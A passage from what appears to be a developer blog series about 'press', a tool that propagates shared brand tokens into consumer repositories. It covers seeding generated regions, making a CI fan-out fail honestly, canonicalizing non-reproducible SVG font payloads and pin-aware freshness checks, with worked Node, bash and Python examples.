  const start = lines.findIndex((l) => l.includes(`>>> brand:${target.id} `));
  const end = lines.findIndex((l) => l.includes(`<<< brand:${target.id}`));
  if (start === -1 || end === -1) return null;
  return {
    start, end,
    body: lines.slice(start + 1, end).join('\n'),
    version: (/ v(\d+\.\d+\.\d+)/.exec(lines[start]) ?? [])[1] ?? null,
  };
}

const block = (target, version, body) => {
  const m = markers(target, version);
  return [m.start, body, m.end];
};

export function splice(text, target, version, body) {
  const found = findRegion(text, target);
  const lines = text.split('\n');
  lines.splice(found.start, found.end - found.start + 1, ...block(target, version, body));
  return lines.join('\n');
}

/** Create a region that isn't there yet, anchored so it lands somewhere sane. */
export function seed(text, target, version, body) {
  const lines = text.split('\n');
  const re = new RegExp(target.init.insertAfter);
  const at = lines.findIndex((l) => re.test(l));
  if (at === -1) throw new Error(`${target.id}: anchor /${target.init.insertAfter}/ matched no line`);
  let i = at + 1;
  while (i < lines.length && lines[i].trim() === '') i += 1;
  lines.splice(i, 0, ...block(target, version, body), '');
  return lines.join('\n');
}

seed takes an anchor rather than appending, because a badge that lands at the bottom of a README is technically present and practically invisible.

The consumer’s check

This is what runs in the consumer’s own CI, against the version it has pinned. Save it as check.mjs:

#!/usr/bin/env node
/** What a consumer runs against its OWN pinned version, on every PR. */
import { readFileSync } from 'node:fs';
import { findRegion } from './region.mjs';

const EXPLAIN = {
  ok: 'in sync',
  missing: 'no region for this target in this checkout',
  'stale-version': 'region records an older release than the pin',
};

export function check({ targets, version, read }) {
  return targets.map((target) => {
    let text;
    try { text = read(target.path); } catch { return { id: target.id, status: 'missing' }; }
    const found = findRegion(text, target);
    if (!found) return { id: target.id, status: 'missing' };
    // The recorded version has to be checked too. Comparing only the body lets
    // a region sit at an ancient release with a green tick forever.
    if (found.version !== version) {
      return { id: target.id, status: 'stale-version', wroteBy: found.version };
    }
    return { id: target.id, status: 'ok' };
  });
}

if (import.meta.url === `file://${process.argv[1]}`) {
  const { targets } = JSON.parse(readFileSync('targets.json', 'utf8'));
  // The consumer checks against the version IT has pinned, not the newest one.
  const pin = /@acme\/brand@(\d+\.\d+\.\d+)/.exec(
    readFileSync('consumer/.github/workflows/ci.yml', 'utf8'))[1];

  const results = check({
    targets, version: pin, read: (p) => readFileSync(`consumer/${p}`, 'utf8'),
  });
  console.log(`checking against pinned ${pin}`);
  for (const r of results) {
    console.log(`  ${r.status === 'ok' ? 'ok  ' : 'FAIL'}  ${r.id.padEnd(13)} ${EXPLAIN[r.status]}`);
  }
  const bad = results.filter((r) => r.status !== 'ok').length;
  process.exit(bad ? 1 : 0);
}

The rollout

Now the producer’s side, and the whole point is the branch where the region doesn’t exist yet. Save this as rollout.mjs:

#!/usr/bin/env node
/** What the PRODUCER runs to raise a consumer onto a new release. */
import { readFileSync, writeFileSync } from 'node:fs';
import { findRegion, seed, splice } from './region.mjs';

const PIN_RE = /(@acme\/brand@)(\d+\.\d+\.\d+)/g;
const CI = 'consumer/.github/workflows/ci.yml';

export function rollout({ targets, version, root, bumpOnly = false }) {
  const rows = targets.map((target) => {
    const path = `${root}/${target.path}`;
    const before = readFileSync(path, 'utf8');
    const body = target.body.replace('{version}', version);
    const found = findRegion(before, target);

    if (found) {
      writeFileSync(path, splice(before, target, version, body));
      return { id: target.id, action: 'updated' };
    }
    // The consumer has no region for this target yet, because the release
    // that declares it is the one arriving right now. Its check will start
    // failing "missing" the instant the pin lands, so the pin bump and the
    // region have to be the SAME change.
    if (bumpOnly) return { id: target.id, action: 'left missing' };
    // Only seedable if the target says where the region goes. A region that
    // was deliberately DELETED looks identical to one never created, and this
    // cannot tell them apart, so an anchor is required consent.
    if (!target.init?.insertAfter) return { id: target.id, action: 'MISSING, not seedable' };
    writeFileSync(path, seed(before, target, version, body));
    return { id: target.id, action: 'seeded' };
  });

  const ci = readFileSync(CI, 'utf8');
  writeFileSync(CI, ci.replace(PIN_RE, (m, p, found) => (found === version ? m : `${p}${version}`)));
  return rows;
}

if (import.meta.url === `file://${process.argv[1]}`) {
  const { version, targets } = JSON.parse(readFileSync('targets.json', 'utf8'));
  const bumpOnly = process.argv.includes('--bump-only');
  for (const r of rollout({ targets, version, root: 'consumer', bumpOnly })) {
    console.log(`  ${r.id.padEnd(13)} ${r.action}`);
  }
  console.log(`pin raised to ${version}${bumpOnly ? '  (--bump-only)' : ''}`);
}

Watch it break, then not break

Set up a consumer sitting happily on 0.7.0, and a registry where 0.7.1 declares a README badge it has never had. Note that theme has no init anchor and readme-badge does:

cat > targets.json <<'EOF'
{
  "version": "0.7.1",
  "targets": [
    {
      "id": "theme",
      "path": "brand.css",
      "syntax": "css",
      "body": "  --accent: #E8501F;"
    },
    {
      "id": "readme-badge",
      "path": "README.md",
      "syntax": "md",
      "body": "![brand](https://img.shields.io/badge/brand-{version}-E8501F)",
      "init": { "insertAfter": "^# " }
    }
  ]
}
EOF
mkdir -p consumer/.github/workflows
cat > consumer/brand.css <<'EOF'
/* >>> brand:theme v0.7.0 */
  --accent: #E8501F;
/* <<< brand:theme */

.figure { border-color: var(--accent); }
EOF
cat > consumer/README.md <<'EOF'
# local-fitness

A training log that reads your own data.
EOF
echo "      - run: npx -y @acme/brand@0.7.0 check" > consumer/.github/workflows/ci.yml
cp -r consumer consumer.orig

node rollout.mjs --bump-only
echo
node check.mjs; echo "exit: $?"

  theme         updated
  readme-badge  left missing
pin raised to 0.7.1  (--bump-only)

checking against pinned 0.7.1
  ok    theme         in sync
  FAIL  readme-badge  no region for this target in this checkout
exit: 1

The consumer did nothing wrong. It received a pull request that raised its pinned version, and its own CI went red inside that pull request, on a target it had never heard of. Now seed and bump together:

rm -rf consumer && cp -r consumer.orig consumer
node rollout.mjs
echo
node check.mjs; echo "exit: $?"
echo
cat consumer/README.md

  theme         updated
  readme-badge  seeded
pin raised to 0.7.1

checking against pinned 0.7.1
  ok    theme         in sync
  ok    readme-badge  in sync
exit: 0

# local-fitness

<!-- >>> brand:readme-badge v0.7.1 -->
![brand](https://img.shields.io/badge/brand-0.7.1-E8501F)
<!-- <<< brand:readme-badge -->

A training log that reads your own data.

Same pull request, same pin bump, green check, and the badge landed under the title instead of at the bottom.

Don’t let seeding become resurrection

Seeding sounds like something you’d want unconditionally, and that’s the trap. A region that a maintainer deleted on purpose looks byte-for-byte identical to one that was never created, so a tool that always seeds will keep restoring a thing someone keeps removing, and neither side ever finds out they disagree.

That’s what the anchor is for: it isn’t only a placement hint, it’s the target declaring that it’s allowed to be created. theme doesn’t have one, so delete its region and watch:

grep -v 'brand:theme' consumer/brand.css | grep -v -- '--accent' > t && mv t consumer/brand.css
node rollout.mjs
echo
node check.mjs; echo "exit: $?"

  theme         MISSING, not seedable
  readme-badge  updated
pin raised to 0.7.1

checking against pinned 0.7.1
  FAIL  theme         no region for this target in this checkout
  ok    readme-badge  in sync
exit: 1

Reported, not recreated. A human decides which of the two situations this is, which is correct, because the tool genuinely cannot know.

Gotchas

A new requirement breaks consumers at their upgrade, not at your release. Because nothing goes wrong when you ship, this failure arrives detached from its cause. Symptom: your release is green, and some time later a consumer’s unrelated pull request is red for reasons its author cannot explain, since the breaking change is a version number in a file they didn’t touch. press hit this on the release immediately before this one, and both pull requests it had opened against one consumer failed on arrival. The escape is to have the pull request that raises the version also supply what the version now requires, so the consumer never sits in the broken state.

A version recorded but never compared is decoration. Writing the release into a marker makes the artifact look self-describing, and it is genuinely useful in a diff. It is not a check. Symptom: values are correct, everything passes, and the recorded version quietly falls years behind, which press did for six consecutive releases with regions still stamped v0.1.0. The escape is a distinct status for it: compare the recorded version to the pin, report stale-version separately from a content difference, and print the command that fixes it.

Automation that creates missing state will eventually recreate deleted state. “Missing” and “deliberately removed” are the same observation, and the more helpful your tool is about the first, the more reliably it will undo the second. Symptom: a maintainer removes something, it comes back on the next release, they remove it again, and nobody escalates because each individual instance looks like a glitch. The escape is to require an explicit declaration before creating anything, as the init anchor does here, and to fail loudly on the targets that don’t carry one rather than treating absence as an invitation.

Sources

Semantic Versioning — the MAJOR-bump rule for backward-incompatible changes, and why a warning isn’t a fix
Martin Fowler: Parallel Change — expand, migrate, contract, and why changing an interface and its usages at once is hard
Kubernetes deprecation policy — the same guarantee written as calendar rules for consumers you cannot reach into

Changelog

fix(press): seed new targets, enforce the version, badge the in-repo skills (0.7.1) (#135) (25b2db8)

Zero of four consumers updated, and the job went green

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

press 0.6.1 fixed two failures in the job that pushes a brand change out to every consumer repository, and the second one was worse than the first.

The first: gh authenticates its own API calls from GH_TOKEN, so cloning each consumer and reading its default branch worked fine. A plain git push does not use GH_TOKEN. It has no credential helper, so it asks for a username and dies on a runner. All four consumers failed that way on the 0.6.0 release.

The second: that failure had been deliberately downgraded to a warning, on the reasoning that the release itself had already happened and the weekly run would retry. So the job reported success while propagating to nobody. This guide is about building the loop that can’t do that, and the test that keeps it honest.

The half-authenticated runner

This one is worth understanding rather than just pasting the fix, because the symptom is so lopsided. Give a job a GH_TOKEN and most of what you do with GitHub works immediately: gh repo clone, gh api, gh pr create. All of those are gh talking to the API with the token it was handed.

git is a different program. It doesn’t read GH_TOKEN, and an HTTPS remote with no credential helper falls back to prompting, which on a runner means failing with could not read Username for 'https://github.com'. The fix is one line, because the GitHub CLI ships a command whose entire job is bridging exactly this gap: gh auth setup-git “configures git to use GitHub CLI as a credential helper.”

- run: |
    gh auth setup-git      # without this, every push fails and everything else works
    ./fanout.sh
  env:
    GH_TOKEN: ${{ secrets.PROPAGATE_TOKEN }}

A stand-in for the push

To build the loop without a real runner, here’s a script that fails the same way. Save it as push_to.sh and chmod +x it:

#!/usr/bin/env bash
# Stands in for `git push` inside a fan-out. It fails exactly the way a real
# one does on a runner where no credential helper has been configured.
repo="$1"
if [ -z "${GIT_CREDENTIAL_HELPER:-}" ]; then
  echo "fatal: could not read Username for 'https://github.com': No such device or address" >&2
  exit 128
fi
echo "pushed brand update to $repo"

The fan-out loop

A fan-out has a requirement that fights the usual shell advice: it must visit every consumer, so it cannot use set -e to abort on the first failure. That’s reasonable, and it’s also the exact structure that lets failures pile up unnoticed, because once you’re catching each error you have to remember to do something with them. Save this as fanout.sh:

#!/usr/bin/env bash
# NOT `set -e`: a fan-out has to visit every consumer, so each failure is
# captured and counted rather than aborting the run at the first one. That is
# also exactly how a fan-out ends up reporting success while doing nothing.
set -uo pipefail

CONSUMERS="site report profile docs"
mkdir -p logs
: > results.txt
failures=0
total=0

for repo in $CONSUMERS; do
  total=$((total + 1))
  if ./push_to.sh "$repo" > "logs/$repo.log" 2>&1; then
    printf '%-9s ok\n' "$repo" >> results.txt
  else
    printf '%-9s FAILED   %s\n' "$repo" "$(tail -n1 "logs/$repo.log")" >> results.txt
    failures=$((failures + 1))
  fi
done

cat results.txt
echo
echo "$((total - failures))/$total propagated"

# An `::error::` annotation is not a failure; GitHub decides by exit code.
# So the count has to actually become one.
if [ "$failures" -ne 0 ]; then
  echo "::error::$failures of $total consumer(s) could not be propagated"
  exit 1
fi
echo "All consumers propagated."

Two details carry the weight. The n/total propagated line means a human skimming the log sees the denominator, so “0/4” is legible at a glance in a way that four separate error lines are not. And the exit 1 is not decoration: GitHub’s workflow commands describe ::error:: as something that “creates an error message and prints the message to the log”, and note that core.setFailed is “used as a shortcut for ::error and exit 1”. The annotation and the failure are two separate things, and only the second one stops a release.

Run it with no credential helper in the environment:

./fanout.sh; echo "exit: $?"

site      FAILED   fatal: could not read Username for 'https://github.com': No such device or address
report    FAILED   fatal: could not read Username for 'https://github.com': No such device or address
profile   FAILED   fatal: could not read Username for 'https://github.com': No such device or address
docs      FAILED   fatal: could not read Username for 'https://github.com': No such device or address

0/4 propagated
::error::4 of 4 consumer(s) could not be propagated
exit: 1

Then with one configured, which is what gh auth setup-git accomplishes on a real runner:

GIT_CREDENTIAL_HELPER=gh ./fanout.sh; echo "exit: $?"

site      ok
report    ok
profile   ok
docs      ok

4/4 propagated
All consumers propagated.
exit: 0

Make the gate prove it can fail

Here’s the part that would have caught the real bug. The dangerous version of this script differs from the correct one by two tokens: ::warning:: instead of ::error::, and exit 0 instead of exit 1. It produces identical output on a healthy run. So test both directions. Save this as test_fanout.sh:

#!/usr/bin/env bash
# Two-sided on purpose. Asserting only that a healthy fan-out passes lets the
# gate rot the day someone turns the failure back into a warning.
TARGET="${1:-./fanout.sh}"
fail=0

if GIT_CREDENTIAL_HELPER=gh "$TARGET" > /dev/null 2>&1; then
  echo "ok    healthy fan-out exits 0"
else
  echo "FAIL  healthy fan-out should exit 0"; fail=1
fi

if "$TARGET" > /dev/null 2>&1; then
  echo "FAIL  broken fan-out exited 0; this gate cannot fail"; fail=1
else
  echo "ok    broken fan-out exits non-zero"
fi

exit $fail

Now build the bad version deliberately and point the test at both:

chmod +x test_fanout.sh
sed 's/::error::/::warning::/; s/^  exit 1$/  exit 0/' fanout.sh > fanout_warn.sh
chmod +x fanout_warn.sh

echo "--- fixed ---"
./test_fanout.sh ./fanout.sh; echo "exit: $?"
echo "--- warns only ---"
./test_fanout.sh ./fanout_warn.sh; echo "exit: $?"

--- fixed ---
ok    healthy fan-out exits 0
ok    broken fan-out exits non-zero
exit: 0
--- warns only ---
ok    healthy fan-out exits 0
FAIL  broken fan-out exited 0; this gate cannot fail
exit: 1

The warning-only version passes the first assertion and fails the second, which is precisely the shape of the regression that shipped. A test that only asserted the happy path would have been green for both.

Gotchas

A token that authenticates your CLI does not authenticate git. GH_TOKEN makes gh work, and the natural inference is that the job is authenticated. Symptom: the confusing kind, where cloning succeeds, listing pull requests succeeds, creating a pull request succeeds, and only git push fails, so it reads as a permissions problem with that one operation rather than a missing credential helper. press hit this on the 0.6.0 release, where all four consumers failed at exactly that step. The escape is gh auth setup-git before the first push, and the diagnostic is that the error mentions a username prompt rather than a 403.

A warning is not a failure, and neither is an error annotation. Downgrading a failed step to a warning always has a plausible story attached, and press’s was reasonable-sounding: the release itself already succeeded, this is only the fan-out, and the weekly run will retry. What that reasoning misses is that the green tick then asserts something false to everyone who reads it later. Symptom: nobody investigates, because there is nothing that looks like a problem, and the brand sits unpropagated until someone notices by eye. The escape is to decide what the job claims when it’s green, and make anything that falsifies that claim exit non-zero.

set -e will not save a loop you deliberately made non-fatal. The moment a fan-out wraps each step in if or || true so it can continue, every shell safety net stops applying to those steps, and this is documented rather than surprising: the Bash manual lists the exemptions, including a command that is “part of the test in an if statement” and one that is “part of any command executed in a && or || list except the command following the final && or ||”. Which is to say the exact two shapes a fan-out is built from. The only thing then standing between a total failure and a green run is an integer you remembered to check at the end. Symptom: a script that looks defensive at the top, with set -euo pipefail right there on line two, and still cannot fail where it matters. The escape is to treat the failure counter as the real exit condition and test it directly, rather than trusting the top of the file.

Sources

gh auth setup-git — the command that configures git to use the GitHub CLI as a credential helper
GitHub Docs: Workflow commands for GitHub Actions — ::error:: writes an annotation; core.setFailed is documented as that plus exit 1
GNU Bash manual: The Set Builtin — the documented contexts in which set -e does not exit, including if tests and &&/|| lists

Changelog

fix(press): the fan-out could not push, and said it succeeded (0.6.1) (#131) (68de5ab)

Proving nothing changed, when the build never repeats itself

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

press 0.5.0 migrated the last hand-maintained copy of a shared brand, in a repo that generates a GitHub profile README from SVG tiles. Its header had named another repository’s stylesheet as canonical with nothing keeping the two honest, which made it the ninth copy and the last one. Every value came out identical; the only content change was a comment header becoming a generated region marker.

Verifying that was the interesting part. Those SVG tiles embed subsetted WOFF2, and font subsetting is not byte-reproducible: rebuilding the untouched repository produced different base64 payloads. A straight byte comparison would have failed every time while proving nothing at all. Parity was confirmed instead by stripping the font payloads and comparing everything else, giving 7 of 7 SVGs and the generated README identical.

That problem is not really about fonts. The Reproducible Builds project defines the property you want as: “Given the same source code, build environment and build instructions, any party can recreate bit-by-bit identical copies of all specified artifacts.” Most builds do not have it, and their catalogue of causes is a list of things you probably ship: embedded modification times, build-id sections, absolute paths baked into output, “factors that are hard or impossible to control like the ordering of files on a filesystem or the current time.” The usual response is to give up on byte comparison entirely and eyeball the output. There’s a better move.

Two bad options, and the one worth taking

Compare raw bytes. Fails on every run for reasons that have nothing to do with your change. You learn to ignore it, which is the same as not having it.

Delete the volatile part and compare the rest. Clean diffs forever, including for a change that genuinely broke the payload. This is the tempting one, and it converts your verification into a decorative one. If your normalizer removes a font, it will happily tell you two documents match when one of them has the wrong font.

Canonicalize. Replace the volatile bytes with a stable fingerprint of what they mean. The diff stays quiet across reruns, and still goes loud if the payload’s real content moves. The rest of this guide builds that, plus the controls that prove it works.

Everything here is Python’s standard library.

A build that can’t repeat itself

First, something to verify. This emits an SVG tile with a “subsetted font” inlined as base64, standing in for any build that embeds a compiled asset. Save it as build.py:

#!/usr/bin/env python3
"""Build one SVG tile with a subsetted font embedded as base64.

Stands in for any build that inlines a compiled asset: a font subsetter, a
bundler, an image optimizer. The thing they have in common is that the payload
carries per-run metadata, so identical inputs do not produce identical bytes.
"""
import base64
import gzip
import json
import sys
import uuid
from pathlib import Path

GLYPHS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"


def subset_font(glyphs):
    """Every real subsetter stamps a per-run tag into its output."""
    tag = uuid.uuid4().hex[:6].upper()
    payload = f"SUBSET-TAG:{tag}\nGLYPHS:{glyphs}\n".encode()
    return base64.b64encode(gzip.compress(payload)).decode()


def build(tokens, out):
    font = subset_font(GLYPHS)
    Path(out).write_text(f"""<svg xmlns="http://www.w3.org/2000/svg" width="400" height="120">
  <style>
    @font-face {{ font-family: Tile; src: url(data:font/woff2;base64,{font}); }}
    .bg {{ fill: {tokens["paper"]}; }}
    .fg {{ fill: {tokens["ink"]}; font-family: Tile; font-size: 24px; }}
    .rule {{ stroke: {tokens["accent"]}; stroke-width: 3; }}
  </style>
  <rect class="bg" width="400" height="120"/>
  <text class="fg" x="24" y="56">Nate Swenson</text>
  <line class="rule" x1="24" y1="80" x2="376" y2="80"/>
</svg>
""")


if __name__ == "__main__":
    build(json.loads(Path("tokens.json").read_text()), sys.argv[1])
    print(f"built {sys.argv[1]}")

The per-run tag is not invented for the demo. Real subsetters emit exactly this: a six-character prefix identifying the subset, which is why pdffonts reports the font name “exactly as given in the PDF file (potentially including a subset prefix)”, producing entries like WMHEWB+Helvetica-Neue-Bold.

Canonicalize the payload

The whole design is in fingerprint(). Save this as canonicalize.py:

#!/usr/bin/env python3
"""Make a non-reproducible artifact comparable, without making the check vacuous."""
import base64
import gzip
import hashlib
import re
import sys
from pathlib import Path

PAYLOAD_RE = re.compile(r"base64,([A-Za-z0-9+/=]+)\)")
# The one field the subsetter stamps per run. Everything else in the payload is
# real content and must still be compared.
VOLATILE_LINE = re.compile(rb"^SUBSET-TAG:[0-9A-F]+$", re.MULTILINE)


def fingerprint(b64):
    """A stable identity for a payload whose bytes are not stable.

    Decode it, drop ONLY the field known to vary per run, and hash what is
    left. Deleting the whole payload would also make the diff clean, and would
    make it clean for a genuinely changed font too.
    """
    raw = gzip.decompress(base64.b64decode(b64))
    stable = VOLATILE_LINE.sub(b"", raw)
    return hashlib.sha256(stable).hexdigest()[:16]


def canonicalize(text):
    return PAYLOAD_RE.sub(lambda m: f"base64,<payload sha256:{fingerprint(m.group(1))}>)", text)


if __name__ == "__main__":
    a, b = Path(sys.argv[1]), Path(sys.argv[2])
    raw_same = a.read_bytes() == b.read_bytes()
    ca, cb = canonicalize(a.read_text()), canonicalize(b.read_text())

    print(f"raw bytes identical:        {raw_same}")
    print(f"canonical form identical:   {ca == cb}")
    if ca != cb:
        for la, lb in zip(ca.splitlines(), cb.splitlines()):
            if la != lb:
                print(f"  - {la.strip()}")
                print(f"  + {lb.strip()}")
    raise SystemExit(0 if ca == cb else 1)

Note what VOLATILE_LINE matches: one named field, anchored, with a known shape. It is not .* over the payload. The narrower that pattern, the more of the artifact your comparison is still actually checking.

Run it

Build the same input twice and compare:

cat > tokens.json <<'EOF'
{ "paper": "#F5F0E6", "ink": "#181510", "accent": "#E8501F" }
EOF

python3 build.py before.svg
python3 build.py after.svg
python3 canonicalize.py before.svg after.svg; echo "exit: $?"

built before.svg
built after.svg
raw bytes identical:        False
canonical form identical:   True
exit: 0

Identical inputs, different bytes, and a canonical form that matches. That’s the whole mechanism, and on its own it is worth nothing, because a normalizer that deleted the payload outright would print exactly the same thing.

Prove the check can still fail

Two controls, and you want both. The first changes something outside the payload:

cat > tokens.json <<'EOF'
{ "paper": "#F5F0E6", "ink": "#181510", "accent": "#FF6B35" }
EOF
python3 build.py after.svg > /dev/null
python3 canonicalize.py before.svg after.svg; echo "exit: $?"

raw bytes identical:        False
canonical form identical:   False
  - .rule { stroke: #E8501F; stroke-width: 3; }
  + .rule { stroke: #FF6B35; stroke-width: 3; }
exit: 1

The second is the one people skip, and it’s the one that matters: change the payload’s own content and confirm the fingerprint notices.

cat > tokens.json <<'EOF'
{ "paper": "#F5F0E6", "ink": "#181510", "accent": "#E8501F" }
EOF
sed -i '' 's/GLYPHS = "ABCDEF/GLYPHS = "BCDEF/' build.py   # GNU sed: drop the ''
python3 build.py after.svg > /dev/null
python3 canonicalize.py before.svg after.svg; echo "exit: $?"

raw bytes identical:        False
canonical form identical:   False
  - @font-face { font-family: Tile; src: url(data:font/woff2;base64,<payload sha256:b807596b4028f1e9>); }
  + @font-face { font-family: Tile; src: url(data:font/woff2;base64,<payload sha256:f4022b0d776b5c12>); }
exit: 1

Dropping one glyph from the subset moved the fingerprint. Had the normalizer elided the payload instead of fingerprinting it, this run would have reported a clean match, and you’d have shipped a font missing a character with a green check behind you. Run this control every time you add a normalization rule, because each rule is a new place the check can go blind.

With those two passing, “canonical form identical” across a migration means something: press could then state that 7 of 7 SVGs and the generated README were unchanged, and have that be a measurement rather than a hope.

Gotchas

A normalizer is a hole in your gate until you test it. Every pattern you add to make diffs quieter also makes some real change invisible, and the failure is silent by construction: a normalizer that hides too much produces exactly the output you were hoping for. Symptom: the comparison passes on a migration that actually broke something, and nothing anywhere reports an error. The escape is a mandatory negative control per rule, as above: change the thing the rule is supposed to still be watching, and require the comparison to fail. If you can’t construct a change that makes it fail, the rule is too broad.

Match the volatile field, not the volatile region. The lazy pattern is a wildcard across the whole blob, because it’s one line and it works immediately. Symptom: the comparison keeps passing as more and more of the artifact drifts out from under it, and you find out when a rendered page looks wrong. The escape is to anchor on the specific named field with its known shape, so anything else appearing inside that payload still counts. ^SUBSET-TAG:[0-9A-F]+$ and .* both silence the reruns; only one of them still checks the glyphs.

Not every migration can be verified the same way. press verified three consumers three different ways in adjacent releases: byte-identical rendered pages for one that goes through headless Chrome, identical embedded faces measured per engine for one that goes through WeasyPrint, and this canonical comparison for the SVG tiles. Symptom: you pick one verification style, apply it everywhere, and it silently degrades to a formality on the consumers it doesn’t suit. The escape is to ask what the artifact is actually made of before deciding what “identical” should mean for it.

Sources

Reproducible Builds: definition — what byte-for-byte reproducibility requires, and why most builds don’t have it
Reproducible Builds: deterministic build systems — the common sources of per-run variation, including timestamps and embedded build metadata
pdffonts(1) man page — where the per-run subset prefix shows up in a real embedded font

Changelog

feat(press): python-consts + font_files, and the last copy is gone (0.5.0) (#125) (78cdef9)

Green CI, two releases behind

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

press 0.4.0 added propagate, which re-emits every generated region in a consumer’s checkout, bumps the version it finds pinned in that repo’s CI, and reports what actually moved. A workflow turns that into a pull request in each consumer whose bytes changed. The gap it closed was concrete: one consumer sat two releases behind the shared brand with entirely green CI, because its check was pinned to the version it had adopted and passed forever against exactly that.

The pin is not the mistake. Consumers pin an exact version deliberately, since a mutable reference in a repo that auto-deploys to production is a supply-chain hole, and a reproducible check is the only kind worth gating a merge on. The mistake is expecting one mechanism to answer two questions. This guide builds the second one.

Two questions a pinned check cannot both answer

Write them down separately, because the whole design falls out of the distinction:

Integrity. Does this region match the version this repo adopted? Answered inside the consumer, against a pinned version, on every PR. This is what a drift check is for, and pinning is what makes it reproducible.

Freshness. Has this repo adopted the current release? A pinned check structurally cannot answer this. It compares the consumer against the version named in its own config, so a repo pinned at 0.2.0 reports a clean run for as long as it stays at 0.2.0, no matter how far the source of truth has moved.

This trade is not a surprise to anyone who has thought about pinning. The OpenSSF Scorecard’s Pinned-Dependencies check argues for pinning because it “can help mitigate compromised dependencies from undermining the security of the project”, and in the same breath concedes that “pinning dependencies can inhibit software updates”, recommending you employ “automated notification tools when dependencies become outdated” to compensate. The propagator below is that compensating half, written by the producer instead of bolted onto each consumer.

Since the consumer can’t answer the second question without giving up the property that makes the first one useful, the source of truth answers it instead and pushes the result out. That’s the same shape Dependabot uses from the other direction: “When Dependabot identifies an outdated dependency, it raises a pull request to update the manifest to the latest version of the dependency.” The difference is who holds the knowledge. Dependabot watches a registry on the consumer’s behalf; here the producer already knows it changed and fans that out, which also lets it tell a rendered change apart from a version bump nobody would see.

Two rules keep that from turning into noise, and they are the whole reason this is worth writing rather than just running the emitter everywhere:

Content decides, not the version receipt. A region written by 0.1.0 that is still byte-correct today is current. A pull request for it changes nothing anyone can see.
A stale pin alone is not “behind”. It alters no shipped artifact, so bump it quietly and never open a pull request just for it.

Build the propagator

Everything here is Node’s standard library. Save it as propagate.mjs:

#!/usr/bin/env node
/**
 * Two different questions, and conflating them is what leaves a consumer stale:
 *
 *   INTEGRITY  "does this region match the version this repo adopted?"
 *              Answered inside the consumer, against a PINNED version.
 *   FRESHNESS  "has this repo adopted the CURRENT release?"
 *              Answered here, by running the newest release against its
 *              checkout. A pinned check can never answer it: it passes forever
 *              against the version it was pinned to.
 */
import { readFileSync, writeFileSync, readdirSync, existsSync } from 'node:fs';
import { join } from 'node:path';

const PIN_RE = /(@acme\/brand@)(\d+\.\d+\.\d+)/g;

export const emitBody = (tokens) =>
  Object.entries(tokens).map(([k, v]) => `  --${k}: ${v};`).join('\n');

export function findRegion(text) {
  const lines = text.split('\n');
  const start = lines.findIndex((l) => /^\/\* >>> brand /.test(l));
  const end = lines.findIndex((l) => /^\/\* <<< brand \*\/\s*$/.test(l));
  if (start === -1 || end === -1 || end < start) return null;
  return {
    start, end,
    body: lines.slice(start + 1, end).join('\n'),
    version: (/v(\d+\.\d+\.\d+)/.exec(lines[start]) ?? [])[1] ?? null,
  };
}

export function spliceRegion(text, body, version) {
  const found = findRegion(text);
  const lines = text.split('\n');
  lines.splice(found.start, found.end - found.start + 1,
    `/* >>> brand v${version} GENERATED, do not edit */`, body, '/* <<< brand */');
  return lines.join('\n');
}

/** Bump every pinned reference found under .github/workflows. Returns how many. */
function bumpPins(root, version, dryRun) {
  const dir = join(root, '.github', 'workflows');
  if (!existsSync(dir)) return 0;
  let bumped = 0;
  for (const file of readdirSync(dir)) {
    const path = join(dir, file);
    const before = readFileSync(path, 'utf8');
    const after = before.replace(PIN_RE, (m, prefix, found) =>
      found === version ? m : `${prefix}${version}`);
    if (after !== before) {
      bumped += 1;
      if (!dryRun) writeFileSync(path, after);
    }
  }
  return bumped;
}

export function propagate({ tokens, consumer, root, version, dryRun = false }) {
  const path = join(root, consumer.path);
  const before = readFileSync(path, 'utf8');
  const found = findRegion(before);
  if (!found) return { id: consumer.id, verdict: 'missing' };

  const body = emitBody(tokens);
  // RULE 1: content decides, not the version receipt. A region written by an
  // old release that is still byte-correct today IS current; opening a pull
  // request for it would be pure noise.
  //
  // Carry this as a boolean. Deriving it later by matching a status string
  // (/updated$/) silently misses "would update", so a dry run reports
  // "nothing to do" while printing a changed region.
  const changed = found.body.replace(/\s+$/, '') !== body.replace(/\s+$/, '');
  if (changed && !dryRun) writeFileSync(path, spliceRegion(before, body, version));

  const pinsBumped = bumpPins(root, version, dryRun);

  // RULE 2: a stale pin alone is not "behind". It changes no shipped artifact,
  // so bump it quietly and never open a pull request just for it.
  const verdict = changed ? 'brand' : pinsBumped > 0 ? 'stale' : 'current';
  return { id: consumer.id, verdict, changed, pinsBumped, wroteBy: found.version };
}

const EXPLAIN = {
  brand: 'BRAND VALUES CHANGED -> open a pull request',
  stale: 'pin was behind, no rendered change -> bumped quietly',
  current: 'already current',
  missing: 'no brand region in this checkout',
};

if (import.meta.url === `file://${process.argv[1]}`) {
  const dryRun = process.argv.includes('--dry-run');
  const version = JSON.parse(readFileSync('release.json', 'utf8')).version;
  const tokens = JSON.parse(readFileSync('tokens.json', 'utf8'));
  const consumers = JSON.parse(readFileSync('consumers.json', 'utf8'));

  const results = consumers.map((c) =>
    propagate({ tokens, consumer: c, root: c.root, version, dryRun }));

  for (const r of results) {
    const tag = r.verdict === 'brand' ? 'PR  ' : '    ';
    console.log(`${tag}${r.id.padEnd(10)} wrote-by ${String(r.wroteBy).padEnd(7)} ${EXPLAIN[r.verdict]}`);
  }
  const prs = results.filter((r) => r.verdict === 'brand').length;
  console.log(`\n${results.length} consumers, ${prs} pull request${prs === 1 ? '' : 's'}${dryRun ? ' (dry run)' : ''}`);
}

Run it against two consumers that disagree

Set up two checkouts that are wrong in opposite directions. One has an old pin but correct content; the other is pinned at the current release and carries an accent color that has since moved.

cat > release.json <<'EOF'
{ "version": "0.4.0" }
EOF
cat > tokens.json <<'EOF'
{ "paper": "#F5F0E6", "ink": "#181510", "accent": "#E8501F" }
EOF
cat > consumers.json <<'EOF'
[
  { "id": "site",   "root": "consumers/site",   "path": "brand.css" },
  { "id": "report", "root": "consumers/report", "path": "brand.css" }
]
EOF
mkdir -p consumers/site/.github/workflows consumers/report/.github/workflows

# site: region already byte-correct, but its CI pin is two releases old
cat > consumers/site/brand.css <<'EOF'
/* >>> brand v0.2.0 GENERATED, do not edit */
  --paper: #F5F0E6;
  --ink: #181510;
  --accent: #E8501F;
/* <<< brand */

.masthead { color: var(--ink); }
EOF
